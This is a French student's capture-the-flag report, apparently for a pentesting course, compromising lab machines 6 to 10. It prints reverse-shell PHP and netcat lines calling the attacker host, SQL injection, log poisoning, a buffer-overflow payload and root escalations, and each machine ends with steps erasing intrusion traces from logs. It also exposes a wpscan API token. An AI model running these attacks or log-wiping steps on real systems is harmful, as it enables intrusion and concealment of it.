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Toutesmes résolutions de CTF
Voici le compte rendu des différentes résolutions de CTF de BOUGHLEM Bilel et d’adresse
mail b.boughlem@rt-iut.re :

Machine 6

6.1 - Obtention du premier flag

Nous obtenons l’adresse IP de la machine cible au moyen de la commande nmap
192.168.1.0/24, une fois la commande executée, nous effectuons un Nmap agressif pour
découvrir les différents services qui tournent sur cette machine au moyen de la commande
nmap -A 192.168.1.11 :
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Nous avons donc un service ssh, un service http, un service ftp et un service netbios-ssn qui
est simplement un serveur de partage de fichier samba utilisant deux ports sur la machine…

Commençons par analyser le service http proposé par la machine cible :

Il semble n’y avoir qu’un site web en maintenance, le code source ne donnant pas
d’informations supplémentaires, en revanche, nous pouvons deviner qu’un nom d’utilisateur
pour les autres services pourrait être du2c.

Tentons de tester la majorité des ressources connues sur ce serveur web en utilisant l’outil
gobuster grâce à la commande gobuster dir -u http://192.168.1.11 -w
/usr/share/dirb/wordlists/common.txt :
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Accédons donc aux pages auxquelles nous pouvons accéder :

Le fichier robots.txt propose des répertoires cachés qui sont faux puisque déjà testés, une
manière de tromper des attaquants ? Maintenant, nous commençons à vraiment penser que
ce serveur web a des choses à cacher, testons donc de trouver des répertoires cachés un
peu moins connus avec un dictionnaire plus large, la commande employée sera donc
gobuster dir -u http://192.168.1.11 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt :
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Et il y a effectivement un répertoire caché nommé Portal, accédons y donc :

Mais rien d’exceptionnel, cependant, en analysant le code source, l’inclusion des fichiers
about-us.html et contact-us.html nous fait nous demander si le serveur web ne présenterait
pas des vulnérabilités face aux inclusions de fichiers locaux ?

Testons cette piste !

Et cela fonctionne bel et bien, nous pouvons lire le contenu du fichier /etc/passwd.
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Explorons donc le système de la machine cible :

Et bingo, nous trouvons le fichier id_rsa qui pourrait nous permettre de nous connecter en
ssh à la machine cible avec l’utilisateur du2c… Récupérons donc le contenu du fichier sur la
machine attaquante que nous copie-collerons dans un fichier id_rsa sur lequel nous
exécuterons la commande ssh2john id_rsa > id_rsa.txt pour connaître la clé qui nous
permettras de nous connecter en ssh à la machine cible :
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Aucun mot de passe, pas très cyber de la part de du2c, nous pouvons donc directement
accéder en ssh à la machine cible en utilisant son compte en incluant le fichier id_rsa et
sans mot de passe au moyen de la commande ssh -i id_rsa du2c@192.168.1.11 :

Et récupérons facilement le premier flag contenu dans un fichier user.txt qui est
0536205341435e72cd64998eeae948ca :
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6.2 - Obtention du second flag

Que pouvons nous faire à partir d’un shell avec du2c ? Trouvons les commandes qu’il peut
exécuter avec des droits de superutilisateur avec la commande sudo -l :

Une autre alternative serait d’afficher tous les fichiers sur lesquels du2c possède des droits
d’écriture au moyen de la commande find / -user du2c -writable 2>/dev/null, nous testons
mais cela n’affiche que les fichiers qui lui appartiennent, puis nous testons la commande find
/ -group du2c -writable 2>/dev/null qui fait la même chose mais pour le groupe du2c et voici
ce que nous observons :

Le fichier /etc/passwd est glissé dans le groupe du2c ?
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Cela signifie que du2c possède probablement des droits particuliers sur ce fichier, vérifions :

Et c’est le cas, nous pouvons donc ajouter une ligne déclarant utilisateur possédant des
droits de superutilisateur sur le système :

D’où vient le mot de passe que nous avons donné à l’utilisateur du32c ? C’est un mot de
passe que nous avons définis au préalable comme étant password dont nous générons le
hash au moyen de la commande openssl passwd password :

Et nous pouvons donc nous connecter en tant que du32c, et ce ne fut pas sans difficultés,
puisque nous avons testé plusieurs autres méthodes et modifications du fichier /etc/passwd
avant d’avoir enfin réussi :

A noter que le système fait l’amalgame entre root et du32c puisqu’ils ont le même uid mais
ce n’est pas un problème dans notre cas, nous pouvons donc accéder au flag root :

Nous obtenons donc le flag root qui est 6ec9e64bda7a9aca876ae3a5c05249b9.
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6.3 - Suppression des traces

C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande ls -lt
nous permettra d’afficher en triant les fichier en fonction de leur date de dernière
modification, découvrons donc quels fichiers nous devons modifier :

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 10 au moyen de la commande sed -i '/^Dec 10/d' nomdufichier.
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Ce sont donc les fichiers auth.log, syslog, daemon.log, lastlog, kern.log, messages et debug
que nous modifions de la sorte, quand au dossier samba, vérifions son contenu :

Après analyse du contenu des fichiers, nous nous rendons compte que seuls log.nmbd et
log.smbd contiennent des traces, les autres fichiers étant vide, nous utiliserons la même
commande que précédemment sauf que l’argument de début de ligne pour la suppression
sera [2024/12/10 au lieu de Dec 10.

Une fois cela fait, nous supprimons bien évidemment l’utilisateur que nous avons généré
sans besoin de supprimer le hash car celui-ci n’est déjà pas contenu dans /etc/shadow…

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.
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Machine 7

7.1 - Obtention du premier flag

Nous commençons par détecter la machine cible sur le réseau au moyen de la commande
nmap 192.168.1.0/24, et nous trouvons son adresse IP comme étant 192.168.1.19,
effectuons donc un nmap agressif sur cette adresse au moyen de la commande nmap -A
192.168.1.19 :

Les trois services offerts par la machine cible sont donc un service ftp, ssh et http. Débutons
par le service ftp puisque le fait qu’il soit anonyme signifie que l’on peut déjà s’y connecter,
nous ouvrirons donc une session ftp avec la commande ftp 192.168.1.19 :
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Récupérons quelques informations sur le contenu du serveur :

Nous constatons que la racine est correctement configurée et que le seul contenu est une
image nommé logo.png, importons la donc dans notre machine attaquante pour l’analyser
au moyen de la commande get logo.png :

Nous avons donc une image d’un anonymous et surtout un lien dans le côté qui est
https://mastodon.social/@7ah… Avant d’analyser cette piste, nous analyserons rapidement
les métadonnées de cette image au moyen de la commande exiftool logo.png, mais les
métadonnées semblent normales.
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Analysons donc ce lien puis le service http :

C’est un lien qui lui même renvoi à un lien pastebin, continuons d’explorer :

Nous devons donc suivre ce qui ressemble à un répertoire étant
239a54d2be3eb203bd126825d4a31052…

En passant nous analysons les autres posts de 7ah sur pastebin qui sont une commande et
un code :

export SHHH=$(python -c 'print
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\
x5e\xb0\x3b\x0f\x05"')
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Puis ceci :

//https://stackoverflow.com/questions/40489161/why-this-piece-of-code-can-get-environment
-variable-address
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
char *ptr;

if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}

Ce sera tout pour la piste pastebin, ces deux trouvailles seront probablement utiles à l’avenir
(ou pas…), analysons à présent le serveur http :

Rien d’intéressant, sauf dans le code source révélant un message :
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Il est donc dit que le site a déjà été piraté, et que des informations de connexion ont déjà été
divulguées dans le web de surface, message d’Anonymous.

Des informations que nous garderons en stock et peut être relatives à nos trouvailles
précédentes, effectuons une recherche des répertoires courant sur le serveur au moyen de
la commande gobuster dir -u http://192.168.1.11 -w /usr/share/dirb/wordlists/common.txt :

Mais aucun répertoire caché contenu dans le dictionnaire utilisé, essayons avec le potentiel
nom de répertoire trouvé sur Pastebin :
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Et nous trouvons un blog plutôt intéressant, trois informations importantes sont données, le
nom d’utilisateur du2c, le fait que wordpress soit utilisé pour faire fonctionner ce site et
d’autre noms d’utilisateurs :

Tentons donc de trouver de potentiels répertoires cachés dans ce répertoire caché au
moyen de la commande gobuster dir -u
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 -w
/usr/share/dirb/wordlists/common.txt :

Et nous trouvons donc les fichiers wp-admin, wp-content et wp-includes. Accédons-y donc !
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La page wp-admin contient une page ressemblant à ceci :

A noter que nous remplacerons toujours rt007.run par l’adresse IP de la machine cible.

Effectuons un scan du domaine wordpress au moyen de la commande wpscan --url
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 --enumerate vp --api-token
7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg, à noter que le token api est
généré automatiquement lorsque l’on se connecte sur le site de wpscan, et qu’ils sont limités
à 25 par jour :

Beaucoup de failles seront trouvées, tentons de trouver un utilisateur au moyen de la
commande wpscan --url http://192.168.1.19/239a54d2be3eb203bd126825d4a31052
--enumerate u --api-token 7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg :
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Et nous trouvons un utilisateur nommé albert, tentons de brute-forcer son mot de passe
avec le dictionnaire rockyou.txt au moyen de la commande wpscan --url
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 --usernames
albert --passwords /usr/share/wordlists/rockyou.txt --api-token
7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg :

Et nous finissons par trouver le mot de passe d’albert qui est donc scotland1, connectons
nous donc :
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Et nous avons accès à la page d’administration de wordpress :

Nous pouvons donc ajouter notre plugin de reverse shell, sachant que voici le code php de
celui-ci (à noter que mettre son nom dans un plugin sensé être illégalement inséré n’est pas
la chose la plus intelligente à faire):

<?php
/*
Plugin Name: BOUGHLEM Bilel Reverse Shell
Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).
*/
exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.1.14/6666 0>&1"');
?>

Nous pouvons donc activer le plugin :
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Pendant que nous mettons notre machine attaquante en écoute sur son port 6666 avec la
commande nc -lvnp 6666 :

Nous sommes donc dans la machine cible ! Déplaçons nous dans celle-ci :

Il semblerait qu’il faille être alice pour pouvoir lire le contenu de user.txt, nos droits
d'exécution et lecture sur le dossier .ssh sont notre seule piste…
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Nous avons donc copié-collé le contenu de id_rsa dans un fichier nommé id_rsa_alice dans
la machine attaquante dont nous nous servirons pour nous connecter en tant qu’elle :

Nous nous connectons au moyen de la commande ssh -i id_rsa_alice alice@192.168.1.19 :
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Ou pas, il ne faut pas oublier de restreindre les droits sur le fichier id_rsa_alice au moyen de
la commande chmod 600 id_rsa_alice, puis nous tentons à nouveau la connexion :

Et c’est beaucoup mieux ainsi. Nous pouvons donc lire le contenu du fichier user.txt :

Le premier flag est donc 08a07bdccd99c10d3b9e084bca7db072.
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7.2 - Obtention du second flag

Que peut faire alice ? Nous le saurons au moyen de la commande sudo -l qui listera les
commandes qu’elle peut effectuer avec des privilèges de superutilisateur :

Une combinaison des trois commandes qui sont connues et répertoriées en ligne (GTFO
Bins) permettent d’utiliser nos privilèges sur nmap pour obtenir un shell de superutilisateur :

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

Sachant que rapidement expliquées, ces commandes vont exploiter une fonctionnalité
avancée de nmap permettant d'exécuter des scripts personnalisés :

TF=$(mktemp) va créer un fichier temporaire sécurisé et stocker son chemin dans la
variable TF.

echo 'os.execute("/bin/sh")' > $TF va écrire le code Lua os.execute("/bin/sh") dans le fichier
temporaire. Ce code, lorsqu'il est exécuté, ouvre un shell (/bin/sh).

sudo nmap --script=$TF va lancer nmap avec le fichier temporaire comme script. Nmap
exécute alors le contenu du script (le code Lua), ce qui provoque l'ouverture d'un shell :

Nous pouvons donc lire le fichier flag root.txt :

Et le second flag est donc 4ea0839303760b96431f491bfd983589.
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7.3 - Suppression des traces

C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande ls -lt
nous permettra d’afficher en triant les fichier en fonction de leur date de dernière
modification, découvrons donc quels fichiers nous devons modifier :

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 10 au moyen de la commande sed -i '/^Dec 10/d' nomdufichier.

Ce sont donc tous les fichiers ayant comme date de dernière modification Dec 10 que nous
modifiions de la sorte, sauf wtmp et btmp auxquels nous ne touchons pas.
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Quand aux dossiers proftpd, apt et apache2, nous observons qu’il n’y a pas besoin de
modifier apt qui ne contient que des fichiers vides, quant à apache2, nous utiliserons la
même commande que précédemment sauf que l’argument de début de ligne pour la
suppression sera [Tue Dec 10 au lieu de Dec 10. Et pour proftpd, nous observons qu’il faut
totalement vider les fichiers proftpd.log et xferlog, chose faite au moyen de la commande
echo -n > fichier.

Et enfin, nous n’oublions pas de supprimer la preuve la plus contrainte étant le plugin de
reverse shell.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion ou même
d’activité suspecte (nmap et gobuster par exemple) sur la machine cible.
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Machine 8

8.1 - Obtention du premier flag

Nous commençons par effectuer un nmap pour connaître l’adresse IP de la machine cible :

Obtenons plus d’informations sur la cible avec la commande nmap -A 192.168.50.249 :

Et service ssh et un service http donc, commençons par analyser ce dernier :
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Nous avons donc à faire à un système de gestion des réservations de lots… Tentons de
trouver des répertoires et fichiers cachés au moyen de la commande gobuster dir -u
http://192.168.50.249 -w /usr/share/dirb/wordlists/common.txt :

Mais rien d’intéressant. Et c’est normal puisque les potentielles ressources contenues dans
le dossier lot ne sont pas testées, testons les donc au moyen de la commande gobuster dir
-u http://192.168.50.249/lot -w /usr/share/dirb/wordlists/common.txt :
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Et voilà qui est beaucoup mieux, testons donc ces répertoires :

Une page de login, nous testons donc des combinaisons de login/mot de passe connues
telles que admin/admin ou admin/password mais sans succès, testons si cette page de
connexion est vulnérable ou pas aux injections SQL :

Et bingo :
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Nous sommes connecté en tant que l’administrateur du domaine de login admin, le login que
nous avons saisi est (' OR '1'='1' -- ) sans oublier l’espace à la fin, ce qui va donc
interrompre les conditions de la commande qui est en cours d'exécution sur le serveur, et
mettre comme condition (autre que la validité de la combinaison login/mot de passe) que 1
vaut 1 ce qui sera toujours vrai et ce qui permettra donc de se connecter avec un utilisateur
qui dans notre cas sera admin. Tout le reste de la commande exécutée sur le serveur sera
mis en commentaire.

En explorant la page, nous trouvons une option nous proposant d’insérer une image, et si le
serveur ne teste pas le type du fichier inséré, nous pourrions tenter d’insérer le même code
de reverse shell que les machines précédentes (en adaptant l’adresse IP) :

Voici le code php dont nous avons adapté l’adresse IP de la machine ciblé par la demande
de shell :

<?php
/*
Plugin Name: BOUGHLEM Bilel Reverse Shell
Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).
*/
exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.50.179/6666 0>&1"');
?>
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Et tentons de l’insérer dans la machine cible pendant que nous mettons la machine
attaquante en écoute au moyen de la commande nc -lvnp 6666:

Et nous obtenons un shell avec www-data, explorons donc le système de la machine cible :

Mais nous n’avons pas les droits suffisants pour lire le fichier /home/ppp/user.txt, quels sont
les droits sur le fichier ? Affichons les avec la commande ls -ali user.txt :

Seul l’utilisateur ppp peut le lire. Tentons donc de trouver une faille dans la machine afin de
pouvoir lire le fichier.
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Explorons les fichiers de configuration de la machine cible :

Et nous remarquons un dossier ppp, ce n’est clairement pas un dossier normal et surement
un dossier lié à l’utilisateur dont nous voulons obtenir les droits, analysons donc :
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Et nous trouvons trois ressource intéressantes :

Deux fichiers sur lesquels nous n’avons pas les droits et qui nous peuvent nous intéresser
pour la suite, et surtout ce fichier contenant la combinaison login/mot de passe suivante :

Tentons donc de nous connecter en ssh en utilisant cette combinaison login/mot de passe
au moyen de la commande ssh ppp@192.168.50.249 :
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Et nous pouvons donc accéder au flag :

Le premier flag est donc 2def56a4baeb5d3699246edd6f705e32.
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8.2 - Obtention du second flag

A partir des privilégiés de l’utilisateur ppp, tentons d’obtenir le flag root, mais avant tout,
quels sont nos privilèges ? Nous le saurons en employant la commande sudo -l :

Tous les droits sur la commande useradd, après quelques recherches, il existe encore une
fois une commande qui permet de créer un utilisateur avec des droits de superutilisateur, la
commande est sudo /usr/sbin/useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd
BOUGHLEM` du32c :

Et nous pouvons donc accéder au flag :

Le second flag est donc 82c426f0c4c9c730de52f09eb3447459.
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8.3 - Suppression des traces

Il faut donc supprimer l’user du32c créé, nous utiliserons la commande userdel du32c :

Mais la commande n’est pas installée, pas le choix, il faudra modifier manuellement les
fichiers de configuration dans lesquels cet utilisateur existe que l’on affiche au moyen de la
commande grep -r “du32c” . :

- Nous supprimons cette ligne de /etc/subgid et /etc/subuid (la ligne est la même) :

- Nous supprimons cette ligne de /etc/passwd :

- Nous supprimons cette ligne de /etc/shadow :



SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Il faut également effacer les traces que nous avons laissé dans les fichiers du dossier
/var/log qui contient la majorité des traces de nos actions, la commande ls -lt nous permettra
d’afficher en triant les fichier en fonction de leur date de dernière modification, découvrons
donc quels fichiers nous devons modifier :

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 12 au moyen de la commande sed -i '/^Dec 12/d' nomdufichier.

Ce sont donc les fichiers daemon.log, syslog, kern.log, messages, auth.log, lastlog, wtmp,
user.log et debug que nous modifions de la sorte.
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Quant au fichier fail2ban.log, qui possède une syntaxe différente, nous effectuons la même
commande sauf que l’argument de début de ligne pour la suppression sera 2024/12/12 au
lieu de Dec 12. Fail2ban qui au passage aurait pu bloquer notre adresse IP si nous avions
manqué de prudence lors des étapes précédentes de l’attaque de la machine…

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.
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Machine 9

9.1 - Obtention du premier flag

Pour cette machine, nous n’avons pas besoin d’effectuer de nmap sur le réseau puisqu’il
l’adresse IP est affiché sur l’interface de connexion de la machine :

Nous allons malgré tout effectuer un nmap agressif sur la machine afin d’obtenir un
maximum d’informations sur celle-ci :

Nous avons donc cinq ports ouverts avec un service ssh et un service http sur quatre ports
différents.
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Commençons par analyser le service proposé par le port 80 :

Nous avons donc un service typo3 (un service CMS basé sur le php) qui nous affiche le
message d’erreur de la page manquante. Tentons de découvrir des ressources cachées sur
cette machine au moyen de la commande gobuster dir -u http://192.168.1.10 -w
/usr/share/dirb/wordlists/common.txt :



SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Nous avons beaucoup de ressources mais peu de droits, les seules auxquelles nous
pouvons potentiellement accéder sont fileadmin, typo3, typo3conf et typo3temp.

Commençons par analyser fileadmin :

Mais il semble que le serveur typo3 nous interdit l’accès à cette page, continuons donc :

Et nous trouvons cette page avec un login et mot de passe déjà sélectionnés.
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Un login étant jfoirjfri& et un mot de passe étant nfororvo, un mot de passe affiché un
modifiant la valeur du type password en texte dans le code html en inspectant la page.

Mais sont-ils corrects ?

Non, et les autres ressources typo3conf et typo3temp sont également des culs de sac.
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Analysons les trois ports restants en commençant par le port 8000 :

La page sert de lien vers typo.local auquel nous ne pouvons pas accéder, et logiquement,
effectuer une analyse gobuster au moyen de la commande gobuster dir -u
http://192.168.1.10:8000 -w /usr/share/dirb/wordlists/common.txt n’est pas concluante :

En ajoutant la ligne 192.168.1.10:8000 typo.local dans le fichier /etc/resolv.conf de la
machine attaquante puis en tentant à nouveau, voici la page sur laquelle nous tombons :

La page semble être une sorte d’accueil à un utilisateur typo3, et effectivement, nous
pouvons accéder à la page de login typo3 :
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Et nous retrouvons également les autres ressources présentes sur le port 80. Mais mis à
part cela, rien de plus…

En analysant le port 8080, nous obtenons une simple page blanche, tentons d’effectuer une
analyse gobuster au moyen de la commande gobuster dir -u http://192.168.1.10:8080 -w
/usr/share/dirb/wordlists/common.txt :
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Tentons d’analyser cette page phpinfo.php :

Après analyse, il y a beaucoup d'informations intéressantes mais aucune qui fait avancer
concrètement notre histoire…

Le dernier port est 8081, analysons le donc :

Un simple message de bonjour, utilisons l'habituel gobuster afin de trouver de potentielles
ressources cachées, la commande utilisée est gobuster dir -u http://192.168.1.10:8081 -w
/usr/share/dirb/wordlists/common.txt :
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Et enfin une avancée concrète ! Un serveur phpmyadmin vient de potentiellement être
trouvé, analysons le donc de plus prêt :

Nous avons un serveur phpmyadmin par défaut, testons donc la combinaison login/mot de
passe par défaut qui est root/root :
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Et bingo, nous sommes administrateur du serveur de base de données, d’ailleur, la base de
données TYPO3 semble intéressante, analysons la :

Nous trouvons des utilisateurs et leurs mot de passe hachés, et c’est là que nous nous
rendons compte que nous n’avons pas essayé la combinaison login/mot de passe très
simple qu’est user/user :

Et ça fonctionne, il ne faudra plus commettre cette même erreur à nouveau…

D’ailleur, il y a un utilisateur admin mais le mot de passe n’est évidemment pas admin…

Puis petit tour de passe-passe, nous remplaçons le hash du mot de passe d’admin par celui
d’user afin que le mot de passe d’admin devienne user :

Evidemment, nous conservons une sauvegarde du hash remplacé afin de ne pas le
perdre…
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Et nous sommes admin :

Tentons d’injecter un fichier de reverse shell malveillant dans la section filelist de typo3
sachant que le code ne change pas par rapport aux machine précédentes et reste donc :

<?php
/*
Plugin Name: BOUGHLEM Bilel Reverse Shell
Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).
*/
exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.1.11/6666 0>&1"');
?>
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Mais ça ne fonctionne pas, le nom du fichier n’est pas accepté et c’est sûrement à cause de
l’extension du fichier (php) dont le caractère malveillant a été anticipé…

Et après quelques temps passés à explorer le site et faire des recherches, nous trouvons la
configuration qui restreint le nom du fichier :

Supprimons le donc ! (en le conservant quelque part malgré tout)

Et le fichier est donc accepté, exécutons le donc au travers de fileadmin :
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Et une fois cela fait, nous mettons la machine attaquante en écoute sur son port 6666 au
moyen de la commande nc -lvnp 6666 puis attendons :

Et nous obtenons un shell avec l’utilisateur www-data !

Puis trouvons le premier flag contenu dans user.txt :

Le premier flag est donc ef291d844285d930fda3084bb2be185f.
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9.2 - Obtention du second flag

Comment pourrions nous obtenir le second flag sachant qu’il requiert des droits root :

Quelles sont les commandes sur lesquelles nous avons des privilèges de superutilisateur ?
Nous le saurons au moyen de la commande sudo -l :

Ou pas, une autre alternative est la commande find / -perm -4000 2>/dev/null :

Les commandes apache2-restart et phpunit sont suspectes et sont probablement celles qui
vont nous permettre d’obtenir le flag root, mais comment ?
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C’est ce que nous tenterons de savoir en analysant leur manière de fonctionner, nous
utiliserons les commandes strings /usr/local/bin/phpunit > /tmp/du23c.txt et strings
/usr/local/bin/apache2-restart > /tmp/du32c.txt afin d’extraire et afficher nos deux fichiers qui
sont binaires :

Et voici nos deux fichiers :

A la lecture, le fichier du23c.txt qui correspond à phpunit est beaucoup trop long et
complexe, nous nous concentrons donc sur le fichier du32c.txt qui correspond à
apache2-restart :

/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
GCC: (Debian 4.4.5-8) 4.4.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
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.note.gnu.build-id

.gnu.hash

.dynsym

.dynstr

.gnu.version

.gnu.version_r

.rela.dyn

.rela.plt

.init

.text

.fini

.rodata

.eh_frame_hdr

.eh_frame

.ctors

.dtors

.jcr

.dynamic

.got

.got.plt

.data

.bss

.comment
call_gmon_start
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.6341
dtor_idx.6343
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
suid-shellshock.c
_GLOBAL_OFFSET_TABLE_
__init_array_end
__init_array_start
_DYNAMIC
data_start
__libc_csu_fini
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_start
__gmon_start__
_Jv_RegisterClasses
_fini
__libc_start_main@@GLIBC_2.2.5
system@@GLIBC_2.2.5
setresuid@@GLIBC_2.2.5
_IO_stdin_used
__data_start
__dso_handle
__DTOR_END__
__libc_csu_init
setresgid@@GLIBC_2.2.5
__bss_start
_end
_edata
main
_init

En l’analysant de plus près, nous remarquons une faille dans le code :

service apache2 start

Une faille car le chemin de service est relatif au lieu d’absolu, ce qui signifie que nous
pouvons tromper le code en créant notre propre fichier service :

echo /bin/bash > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH

Ces trois commandes créent un script malveillant et modifient l’environnement d’exécution
pour détourner la commande service. La première crée un fichier exécutable nommé service
dans /tmp, qui exécute un /bin/bash pour obtenir un shell si ça fonctionne. La deuxième rend
ce fichier exécutable. La troisième modifie la variable d’environnement PATH pour que le
système priorise le répertoire /tmp lors de l'exécution de commandes, forçant ainsi
l’utilisation de ce faux service au lieu de l’original.
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Et nous obtenons un shell root :

Et nous pouvons donc obtenir le flag :

Le second flag est donc 1fdc1fdbb4cc4a356b18403fc605380a.

Mais nous remarquons également le hash suivant :

$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3aap2ff0LbLYZrF

Un hash BCrypt, de facteur de coût 12 et un sel généré aléatoirement, ce ne sera pas le
genre de hash qui sera craqué tout de suite…

Nous nous contenterons du second flag trouvé.
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9.3 - Suppression des traces

Quant aux traces laissées, nous débutons par supprimer le fichier de reverse shell inséré
dans la machine cible, remettons en place la configuration restreignant les fichiers de type
php et modifions le mot de passe de admin de typo3 en remettant son hash en place dans la
base de données contenue dans phpmyadmin.

Une fois cela fait, c’est le dossier /var/log qui contient la majorité des traces de nos actions,
la commande ls -lt nous permettra d’afficher en triant les fichier en fonction de leur date de
dernière modification, découvrons donc quels fichiers nous devons modifier :

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 12 au moyen de la commande sed -i '/^Dec 12/d' nomdufichier.

Ce sont donc tous les fichiers ayant comme date de dernière modification Dec 12 que nous
modifiions de la sorte, sauf wtmp et btmp auxquels nous ne touchons pas.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.
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Machine 10

10.1 - Obtention du premier flag

L’adresse IP de la machine étant déjà affichée sur l’écran de connexion de la machine cible
comme étant 192.168.1.10 :

Nous pouvons directement effectuer un nmap agressif sur la machine au lieu du réseau au
moyen de la commande nmap -A 192.168.1.10 :
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Nous avons donc des services ftp, ssh et http qui tournent sur la machine cible, tentons
d’analyser le service ftp, et sachant que celui est définit comme étant anonymous, nous
pouvons directement nous connecter avec le login anonymous et aucun mot de passe au
moyen de la commande ftp 192.168.1.10 :

La racine de celui-ci semble être correctement configurée, et son seul contenu est un fichier
index.php que nous nous empressons de récupérer au moyen de la commande get
index.php :

Et lisons le donc :
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Et nous remarquons une faille dans ce fichier :

$file = $_GET['fil3'];

Cette ligne ne vérifie pas l’argument du fichier que l’on peut donc modifier dans l’url, rendant
ce code vulnérable aux attaques de type d’inclusion de fichiers locaux. Peut être ce code est
celui de la page fournie par le serveur http, analysons le donc :

Il semble que ce soit la bonne page, effectuons malgré tout une recherche de ressources
cachées sur le serveur au moyen de la commande gobuster dir -u http://192.168.1.10 -w
/usr/share/dirb/wordlists/common.txt :
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Aucune ressource cachée, l’inclusion de fichier locaux est notre seul espoir :

Et nous pouvons effectivement accéder au contenu de /etc/passwd…

Mais nous ne pouvons pas accéder aux différents flags :

Il va falloir trouver une manière de se connecter en tant que Monica, chose à laquelle nous
ne parvenons pas pour le moment…

Nous tentons de trouver des clés ssh et autres types de ressources qui nous permettraient
d’obtenir un shell mais sans succès, il va donc falloir revenir en arrière et trouver une
méthode alternative…

Et après avoir tenté d’effectuer des logs poisoning (c’est à dire des injections dans les
fichiers logs) ssh sans succès, nous tentons la même chose mais sur ftp en nous connectant
sur le serveur ftp au moyen de la commande ftp 192.168.1.10 et en saisissant comme login
notre code de reverse shell (raccourci en supprimant le commentaire) :
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Au passage voici le code saisit :

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.1.15/6666 0>&1"'); ?>

Et voici l’astuce, ce code sera lu et exécuté si nous parvenons à lire un fichier le contenant,
et il se trouve que nous pouvons lire différents fichier dans la machine et, dans notre cas,
nous tentons de lire le fichier /var/log/vsftpd.log :

Au même moment, nous mettons notre machine attaquante en écoute sur son port 6666 au
moyen de l’habituelle commande nc -lvnp 6666 :

Et nous obtenons un shell qui est honnêtement assez technique à obtenir.
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Et pourtant, nous ne pouvons toujours pas accéder au flag user contenu dans le dossier
home de l’utilisateur monica :

Et après avoir passé un temps assez long à rechercher un potentiel indice, nous en trouvons
enfin situé dans le dossier /opt, un dossier inhabituel pour y cacher ce genre de chose :

Un fichier binaire ls et son code source en c :
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Il y a également un fichier note.txt :

Un programme ls alternatif sera donc en cours de création par l’utilisateur monica et, en
analysant le code source de cette commande, nous trouvons rapidement la faille suivante :

gets(name);

La fonction gets() ne limite pas la quantité de caractères que l'utilisateur peut entrer. Si
l'utilisateur entre plus de 60 caractères (taille de name), les données débordent sur les
zones mémoire adjacentes. Cela rend donc le code vulnérable aux attaques de type buffer
overflow, nous permettant d'exécuter n’importe quelle commande en tant que monica en
théorie. Nous tentons donc de nous saisir à la suite de la commande, une liste de cinquante
A de padding suivis d’une commande qui nous souhaitons exécuter :

Mais cela ne fonctionne pas comme prévu, plutôt que de lire le flag, tentons d'exécuter une
seconde commande de reverse shell précédée d’un padding de soixante A, la commande
utilisée sera python3 -c 'print("A"*60 + "/usr/bin/nc 192.168.1.15 3232 -e /usr/bin/bash\x00")'
| /opt/ls :

Et pendant que nous mettons notre machine attaquante en écoute sur son port 3232 au
moyen de la commande nc -lvnp 3232, nous obtenons une connection avec la cible :
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La commande script /dev/null -qc /bin/bash est bien pratique puisqu’elle permet d’avoir un
environnement propre dans notre terminal ou plutôt pseudo-terminal sans message
d’introduction. Cela rend plus rapide l'exploration du système jusqu’à la découverte du flag :

Et il semble que nous ayons réussi à obtenir notre shell avec l’utilisateur monica :

Et nous parvenons à lire le premier flag contenu dans user.txt qui est donc
e9760c92e8ed17fdf46330202cab13e5.
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10.2 - Obtention du second flag

Quels sont donc les privilèges de monica sur le système de la machine cible, nous le
saurons au moyen de la commande sudo -l :

Et il semble que monica puisse exécuter la commande bzip2 avec des privilèges de
superutilisateur, il se trouve qu’une seule commande qui sont connue et répertoriée en ligne
(GTFO Bins) permet d’utiliser nos privilèges sur bzip2 pour obtenir un droit de lecture sur
